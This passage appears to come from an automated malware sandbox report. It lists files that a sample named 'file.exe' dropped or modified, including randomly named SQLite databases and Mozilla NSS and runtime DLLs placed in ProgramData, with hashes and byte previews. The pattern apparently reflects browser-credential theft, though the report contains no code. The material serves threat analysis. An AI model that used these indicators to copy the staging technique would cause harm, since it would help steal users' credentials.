Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGHCBAAEHCFIDGDHJEHCBGCGDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAKEBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265252254418137
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMRSAELyKOMq+8yC8F/YfU5m+OlTLVumY:Bq+n0JR9ELyKOMq+8y9/OwD
MD5:	D4A03343CA4EC2ED2D2D7FCA4560BEDA
SHA1:	2D432D8B4813AB820A5AC3288ED7ABED85AA2BA4
SHA-256:	DF3BCD3C7FA6968E4EEABD4C55897CC76DDCC0D54098F0B8A9C2B6FD3B38CE9F
SHA-512:	657F6CA0E24CA6256053EA24977B740822B8E68856E9469E761C2EF940EA7875807ADA214EC4751F35A35F2A0F10D1106BFC6A5C711A2802F88BA7C222F9FD37
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKEHJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJJKKJJDAAAAAKFHJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJJKKJJDAAAAAKFHJJDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1997b72847.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006465001\1997b72847.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5e559c04-54c4-4edf-937d-5325a8aafb54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45991
Entropy (8bit):	6.087472358271234
Encrypted:	false
SSDEEP:	768:GMkbJrT8IeQcrQgx9+87u4hDO6vP6OU6LUEq+AJlmEHiMCAoBGoup1Xl3jVzXr41:GMk1rT8HR9+P606LaiMRoBhu3VlXr41
MD5:	FE8B7BA7C1EC5BB7C910FC25744BFC9F
SHA1:	83F699EA6392D22160C8A276F5DEF5669BC1239F
SHA-256:	B50FF1241A9013D9340FD74EBB3AB9651A69FEA97D0DF44EA4FD805B3D91C090
SHA-512:	D06C0E590283277A7E927986C884BC8D92D586A8B53E7EE918855519269DA3097C3A9A9B19C486DA743EED7E91F09D37426D14FCFBFAE60193ACC80C87D58A31
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731683785"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\604138bd-199c-4dc5-b9c9-1d445522bbe4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096697498667439
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMwu7hDO6vP6OU6LUEyyatPRqcGoup1Xl3jVzXr4z:z/Ps+wsI7ynEH606LHchu3VlXr4CRo1
MD5:	92784FE773903A17ADCC12E195A86E21
SHA1:	AAA92C8B33B4B665F9AA6B605F65B5C3497884B0
SHA-256:	383F7CD4FFD3D2BA1546ACB846D99F3C54A8302DF52E8847C0912820043CD818
SHA-512:	C27F669756CA8B3845258A3C6F874BF5F7B903D7DEDA34012720DDD0415475EE9AD2E2E13E09BEF4F89AB507C563E045459938961D689DC2200B47BD9C108ACA
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\659d07c0-6914-4022-9b76-80d3a4dd6fa5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090728806610621
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMKwuF9hDO6vP6O+etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEs6ztbz8hu3VlXr4CRo1
MD5:	401A5F553A8AC959A316389803BAFCB7
SHA1:	15B203F93F992FEFEA837323A21E170A558D4CC1
SHA-256:	FD9E7B1B0CE9CC6DB2F5B737692411250E5E85B2807133DA07439C41C9B868E7
SHA-512:	6C07E92D89878BB9DEC72234C322B3A8B5D843DD934D3D05CA5EB1F376A078277AFA13E5D986638ED1D1CBEECF617BF02ADECF8FB8B5EBC701FAC1284A97C4C7
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\73588fc4-64ba-4763-8909-868cd9452e29.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46115
Entropy (8bit):	6.087188940522693
Encrypted:	false
SSDEEP:	768:GMkbJrT8IeQcrQgD9+L7u4hDO6vP6OU6LUEq+AJlmEHiMCAoBGoup1Xl3jVzXr41:GMk1rT8Hj9+W606LuiMRoBhu3VlXr41
MD5:	DEC0902019A263E3240113259B76308B
SHA1:	C9ECC151BAAD724FE2C0DA5A0C660C8DD79834CF
SHA-256:	457DB2156F2C12FBA8A8D2D5ECA3200182562E15F3179582D2149A486E3E2BF2
SHA-512:	E75017813F7B4F42233B8EE1BFCB8819AE74C9EB654A624CF8684193995D4434F1E8E5FBEA970E513E79C4BDDEDCD081788E5E8B3F1150F0ED79E378D155975E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731683785"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7c6f95a9-9c92-4764-943e-aa6b6397cd6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.096403292756905
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBKwu7hDO6vP6OU6LUEq+AJlmEHcGoup1Xl3jVzXr2:z/Ps+wsI7yOEV606Lachu3VlXr4CRo1
MD5:	53F46E3457E277BE2C802269529BBD67
SHA1:	789BB3AFE70F94E7CEDFD4EF651951CBB69A1C2D
SHA-256:	1FB47CDB10D20E01049F0578806266A0E44C0C271637FFB49717BED671EB2812
SHA-512:	032881C92F8685673B909157F06BB8DFE1DBF7326F7924EB22C8956E8AFAC9267FCFF875E821184BABBC53DE8281758C4C50D9E7450C5EBF26DFD3EFA10FEEA9
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\805a9c36-1615-4cb7-8876-4452c0e25b65.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

